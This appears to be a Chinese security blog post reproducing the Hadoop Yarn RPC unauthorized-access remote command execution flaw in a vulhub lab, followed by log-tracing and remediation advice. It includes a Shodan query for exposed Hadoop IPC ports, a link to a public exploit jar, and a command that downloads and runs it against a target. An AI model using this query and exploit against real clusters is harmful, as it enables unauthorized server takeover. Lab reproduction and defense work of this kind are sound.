Hadoop Yarn RPC未授权访问漏洞复现
漏洞简述
Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。
漏洞影响版本
Apache Hadoop 所有版本
Shodan 搜索语法
http.html:"HTTP request to a Hadoop IPC port"
漏洞环境搭建
由于该漏洞影响全版本,所以直接复用vulhub之前rest api未授权的环境搭建。
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
需要修改docker-compose.yml,添加端口映射。
docker-compose up -d
curl请求8032端口。
[root@VM-0-15-centos unauthorized-yarn]# curl 127.0.0.1:8032 It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon. [root@VM-0-15-centos unauthorized-yarn]#
漏洞exp
https://github.com/cckuailong/YarnRpcRCE
漏洞复现
wget https://github.com/cckuailong/YarnRpcRCE/releases/download/0.0.1/YarnRpcUnauth.jar # 创建文件 java -jar YarnRpcUnauth.jar ip:port "touch /tmp/success"
由于我们是通过docke-compose搭建的漏洞环境,这里有四个容器。执行命令的容器不一定是监听端口服务所在的容器。
docker ps | grep unauthorizedyarn | awk '{print $1}' | xargs -I % docker exec -i % ls -l /tmp
溯源排查
主要几个节点的日志位置。
- ResourceManager log
- NodeManager log
- Container log
/var/log/hadoop-yarn
如果通过docker运行的hadoop可通过docker logs进行排查。
docker-compose logs| grep nodemanager.ContainerExecutor
但是未记录攻击者ip。
修复方式
- Apache Hadoop官方建议用户开启Kerberos认证。
- 利用iptables或者安全组,设置 Hadoop RPC服务所在端口仅对可信地址开放。
微信赞赏支付宝赞赏
发表评论